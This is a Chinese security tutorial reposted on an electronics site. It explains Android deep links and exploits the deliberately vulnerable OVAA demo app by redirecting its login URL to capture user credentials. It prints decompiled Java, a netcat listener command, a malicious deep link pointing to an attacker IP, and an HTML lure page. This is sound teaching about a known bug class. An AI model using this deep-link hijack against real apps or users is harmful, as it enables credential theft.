0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

结合Deep Link加载任意URL窃取目标APP用户凭证

冬至子 来源:闻鸡习武 作者:吾奶习武之人 2023-05-20 14:11 次阅读

在正式开始漏洞利用之前,我们需要先来了解一下什么是deep link。

Deep Link简介

Deep Link 是一种允许应用程序通过 URL 直接响应特定页面或功能的技术。这是通过操作系统和应用程序之间的一种约定来实现的。

Deep Link 结构:

图片

Android 中,当安装一个应用程序时,该应用程序的 manifest 文件(AndroidManifest.xml)会注册到系统中。这个文件包含了该应用程序的所有组件信息,包括 activities、services、broadcast receivers 等。对于 deep linking,开发者可以在 manifest 文件中定义一个或多个 intent filters,这些 intent filters 定义了哪些 URL 可以启动哪些 activities。

当用户点击一个符合某个应用程序 intent filter 规则的 URL 时,Android 系统就会启动该应用程序的对应 activity。具体的规则是通过 intent filter 中的 data 元素来定义的,这个元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合这些规则,那么就会启动对应的 activity。

例如,下面这个示例:

<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="oversecured" android:host="ovaa"/>
            <span class="hljs-name"intent-filter>
        <span class="hljs-name"activity>

通过分析上面的示例代码,我们就可以知道,在安卓系统中任何以"oversecured://ovaa"开头的URL都会启动其所对应的oversecured.ovaa.activities.DeeplinkActivity。

总的来说,深度链接允许开发者通过 URL 直接打开应用程序的特定部分,这对于用户体验和应用程序间的交互是非常有用的。

查找Deep Link

在Android系统中,应用需要在AndroidManifest.xml文件中声明它们能处理的Deep Link。因此,我们可以通过使用jadx等反编译工具对目标APK进行反编译,在反编译后的AndroidManifest.xml文件中搜索关键字:"android:scheme"

图片

一般搜索结果所在的data标签部分,就包括了Deep Link Url所需的必要组成部分:

  • scheme: oversecured,
  • host: ovaa

转换成url就是:oversecured://ovaa

那这个时候,找到了APP可以处理的Deep Link,我们可以先来尝试一下,在安卓系统中触发访问我们找到的这个Deep Link:oversecured://ovaa。

1)在PC上使用python在本地开启一个简易的web服务器

python -m http.server

图片

2)在本地服务器根目录放置一个html页面文件

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa">点击这里可以打开指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

这个页面的主要目的就是,当在手机浏览器远程访问html页面时,点击a标签对应的超链接,就可以在安卓系统中触发对Deep Link的访问

3)在手机浏览器远程访问html页面,点击a标签对应的超链接

oversecured://ovaa被访问时,DeeplinkActivity将会被瞬间打开然后立即关闭,我们可能只会看到一个闪烁的屏幕,看不到具体的Activity内容。

❝通过分析DeeplinkActivity代码可以知道:直接访问oversecured://ovaa,Android系统将会匹配到DeeplinkActivity并启动它,因为目标APP的AndroidManifest.xml中定义的intent-filter声明了这个Activity可以处理scheme为"oversecured"和host为"ovaa"的URI。

DeeplinkActivityonCreate方法中,它会获取到传入的Intent,检查Intent的action是否为"android.intent.action.VIEW",然后获取并处理Intent的data(即URI)。因此,当直接访问oversecured://ovaa,这个Activity将会被启动,并且在onCreate方法中调用processDeeplink方法。

但是,因为我们直接访问的URI没有路径(path),所以在processDeeplink方法中,uri.getPath()将返回null,所有的条件分支都不会被执行,所以不会有任何额外的操作。

然后,onCreate方法会调用finish()方法来结束这个Activity。所以,从咱们的用户的视角来看,oversecured://ovaa被访问时,DeeplinkActivity将会被瞬间打开然后立即关闭,用户可能只会看到一个闪烁的屏幕,看不到具体的Activity内容。

跟踪APP对Deep Link的处理

通过分析目标APP的AndroidManifest.xml,我们知道响应oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我们可以通过反编译工具查看DeeplinkActivity相关的代码。

package oversecured.ovaa.activities;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;

/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
    private static final int URI_GRANT_CODE = 1003;
    private LoginUtils loginUtils;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        Uri uri;
        super.onCreate(savedInstanceState);
        this.loginUtils = LoginUtils.getInstance(this);
        Intent intent = getIntent();
        if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
            processDeeplink(uri);
        }
        finish();
    }

    private void processDeeplink(Uri uri) {
        String url;
        String host;
        if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
            String path = uri.getPath();
            if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/grant_uri_permissions".equals(path)) {
                Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
                if (getPackageManager().resolveActivity(i, 0) != null) {
                    startActivityForResult(i, 1003);
                }
            } else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, android.app.Activity
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == -1 && requestCode == 1003) {
            setResult(resultCode, data);
        }
    }
}

通过分析代码,我们可以知道:

1)当用户点击一个匹配intent filter的deep link URL时,Android系统会启动对应的activity,并通过intent传递数据给这个activity,此处也就是DeeplinkActivity。当DeeplinkActivity被打开时,APP首先执行的是onCreate方法,开发者在activity的onCreate()方法中通过getIntent()获取这个intent,然后通过getData()获取URL

2)获取到URL后,APP再调用processDeeplink(uri),接着根据传入的uri进行一系列处理,主要是通过条件语句针对url中不同的path进行不同的逻辑处理,通过代码可知APP可识别处理的path是:/logout、/login、/grant_uri_permissions、/webview。

跟踪APP对/login路径的处理

比如当我们访问的deep link url是:oversecured://ovaa/login,代码String path = uri.getPath();得到的就是/login,此时当processDeeplink被调用时就会执行以下代码:

else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            }

通过代码String url2 = uri.getQueryParameter("url");可知,APP会尝试从deep link中去获取一个名字叫做url的参数值。

比如我们访问的deep link url是:oversecured://ovaa/login?url=http://www.test.com。

如果我们访问的deeplink中有url参数,那APP取到url的值又要干嘛呢?我们继续跟踪

if (url2 != null) {
 this.loginUtils.setLoginUrl(url2);
}

如果APP取到url参数的值,则将取到的url继续传给setLoginUrl处理

public void setLoginUrl(String url) {
        this.editor.putString(LOGIN_URL_KEY, url).commit();
    }

这段代码的含义就是调用 SharedPreferences.EditorputString 方法,将键为 LOGIN_URL_KEY 的字符串值设为 url,然后调用 commit 方法将这个改动保存到 SharedPreferences 中。这样,下次应用程序启动时,这个 URL 仍然可以被获取到。

到这里,我们就比较清晰了,获取到deep link传递过来的url后,将url的值和LOGIN_URL_KEY这个键进行了绑定。就是一个获取并保存的操作,那我们继续接着往后面的代码进行分析:

当if语句执行结束,保存好了url后,APP又启动了一个新的界面EntranceActivity

startActivity(new Intent(this, EntranceActivity.class));

我们继续最终分析EntranceActivity界面的代码

public class EntranceActivity extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (LoginUtils.getInstance(this).isLoggedIn()) {
            startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
        } else {
            startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
        }
        finish();
    }
}

这个EntranceActivity的代码主要是判断当前是否已登录或者未登录,那我们这里继续追踪未登录的代码进行分析,也就是else代码块中的调用:

startActivity(new Intent("oversecured.ovaa.action.LOGIN"));

在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到对应的是oversecured.ovaa.activities.LoginActivity

image-20230519013229270

继续分析LoginActivity中处理登录的关键函数processLogin:

public void processLogin(String email, String password) {
        LoginData loginData = new LoginData(email, password);
        Log.d("ovaa", "Processing " + loginData);
        LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
        loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
            @Override // retrofit2.Callback
            public void onResponse(Call<Void> call, Response<Void> response) {
            }

            @Override // retrofit2.Callback
            public void onFailure(Call<Void> call, Throwable t) {
            }
        });
        this.loginUtils.saveCredentials(loginData);
        onLoginFinished();
    }

这段代码的主要作用就是处理用户的登录,是使用 Retrofit 库来与服务器进行通信

loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback

这段代码主要就是调用 loginServicelogin 方法,传入登录 URL 和登录数据,登录url是从getLoginUrl函数获取,而这个函数最终拿到的登录url就是前面从deeplink中获取到的url。

public String getLoginUrl() {
        String url = this.preferences.getString(LOGIN_URL_KEY, null);
        if (TextUtils.isEmpty(url)) {
            String url2 = this.context.getString(R.string.login_url);
            this.editor.putString(LOGIN_URL_KEY, url2).commit();
            return url2;
        }
        return url;
    }

那分析到这里,我们就可以知道,APP在处理oversecured://ovaa/login?url=http://www.test.com 这个deep link的时候,会将url的值作为登录url,然后将用户输入的账号和密码作为参数发起请求进行提交,但是此处的url是攻击者可控的,从而就导致了可窃取用户的登录凭证。

凭证截取

1)攻击者服务器监听端口,用于接收窃取到的账号密码。

nc -lnvp 8889

图片

2)根据分析,构造恶意的deep link

oversecured://ovaa/login?url=http://192.168.10.11:8889

3)攻击者web服务器放置一个html页面,用于诱导用户点击执行deeplink

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">点击这里可以打开指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

4)最终窃取账号密码的效果

图片

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Android
    +关注

    关注

    12

    文章

    3852

    浏览量

    125664
  • Web服务器
    +关注

    关注

    0

    文章

    137

    浏览量

    24231
  • URL
    URL
    +关注

    关注

    0

    文章

    134

    浏览量

    14839
  • python
    +关注

    关注

    51

    文章

    4678

    浏览量

    83477
收藏 人收藏

    评论

    相关推荐

    五步玩转低成本高效智能硬件App开发

    [/url]、[url=]iOS[/url]、APICloud等开发平台,包含完整的Wi-Fi类终端设备App通用功能源码,集成App开发中
    发表于 11-01 16:09

    利用Link Node实现传感器数据在SJ App上的实时显示

    `利用Link No本文主要介绍了怎么利用BLE Sensors Tag结合Google公司提供的Science Journal App实现传感器数据的实时监测。通过对周围传感数据的监测,读者可以
    发表于 11-10 22:08

    可以使用凭证生成许可并使用vivado 2016.2加载

    大家好..,我最近从xilinx获得了一块zed主板,其中包括一个vivado设计套件2014.2 CD和一张获取许可证文件的凭证。但我已经安装了vivado最新版本,即2016.2。如果我使用凭证
    发表于 12-18 10:52

    J-Link不能连接目标MCU怎么解决

    J-Link是嵌入式软件、硬件工程师最常用的工具之一,但是,在使用这个工具时,也会遇到各种各样的问题。今天来给大家讲讲最常见的一个问题:J-Link不能连接目标MCU。J-Link的连
    发表于 11-04 07:25

    STM32L151VB-A通过J-Link连接时,显示无法连接到目标是为什么?

    指挥官连接时,我得到“无法连接到目标”。 据我了解:https://community.st.com/external-link.jspa?url=https%3A%2F
    发表于 01-29 06:40

    MCU Link Pro未检测到目标的原因?

    各位,我需要帮助解决有关 MCU Link pro 探针与基于 iMXRT1021 处理器的目标开发板的接口问题,系统配置: IDE:MCUXpresso v11.5.0目标:带 JTAG 连接器
    发表于 04-04 07:16

    凭证管理的详细设计

    凭证管理的详细设计:凭证管理的总体设计,凭证填制的详细设计,凭证查询与汇总的详细设计,凭证审核与记账的详细设计,期末转账
    发表于 07-06 07:29 0次下载

    MLFMA结合最佳一致逼近快速求解目标宽带RCS

    该文将多层快速多极子与最佳一致逼近结合计算了目标宽带的电磁散射特性。通过求解给定频带内的切比雪夫节点和节点处的目标表面电流,实现了频带内任意频点表面电流的快速
    发表于 02-10 15:09 24次下载

    URL,URL是什么意思

    URL,URL是什么意思 URL(Uniform Resoure Locator:统一资源定位器)是WWW页的地址,它从左到右由下述部分组成: &
    发表于 03-22 10:53 8198次阅读

    研究人员发现一个可窃取AWS凭证的加密货币蠕虫

    研究人员近期发现一个可以窃取AWS凭证的加密货币蠕虫。这是首个含有AWS特定功能的蠕虫,该蠕虫可以窃取本地凭证、扫描错误配置的Docker平台的网络。研究人员发现黑客组织TeamTNT
    的头像 发表于 08-26 14:04 1437次阅读
    研究人员发现一个可<b class='flag-5'>窃取</b>AWS<b class='flag-5'>凭证</b>的加密货币蠕虫

    关于窃取业务数据的几种常见网络攻击类型介绍

    首先介绍下用于窃取业务数据的几种常见网络攻击类型。网络攻击者会将容易攻击的网站作为目标来感染用户并进行数据窃取。而电子邮件则是网络攻击者最常见的目标
    的头像 发表于 09-18 11:35 3066次阅读

    详解英特尔 Xe Max 独显:Deep Link 技术可让独显 / 核显 “交火”

    架构的独立图形显卡,是英特尔进军独立显卡市场战略的一部分。 IT之家了解到,锐炬 Xe MAX 独立显卡采用英特尔 Deep Link 技术,该技术作为英特尔 Adaptix 的一部分,支持 PCIe
    的头像 发表于 11-02 13:44 3715次阅读

    苹果阻止M1芯片Mac用户加载iOS和iPadOS应用

    1月17日上午消息,苹果公司关闭了在M1芯片Mac上,侧加载iOS应用的功能。这意味着M1芯片Mac用户只能从App Store安装iOS和iPadOS应用。 苹果公司最新推出的M1芯片Mac,可以
    的头像 发表于 01-17 09:21 5536次阅读

    教你轻松J-Link不能连接目标MCU的问题

    J-Link是嵌入式软件、硬件工程师最常用的工具之一,但是,在使用这个工具时,也会遇到各种各样的问题。 今天来给大家讲讲最常见的一个问题:J-Link不能连接目标MCU。 J-Link
    的头像 发表于 06-30 11:18 5169次阅读
    教你轻松J-<b class='flag-5'>Link</b>不能连接<b class='flag-5'>目标</b>MCU的问题

    IP知识百科之URL过滤

    URL过滤 URL过滤是一种针对用户URL请求进行上网控制的技术,通过允许或禁止用户访问某些网页资源,达到规范上网行为和降低安全风险的目的
    的头像 发表于 09-23 11:08 5038次阅读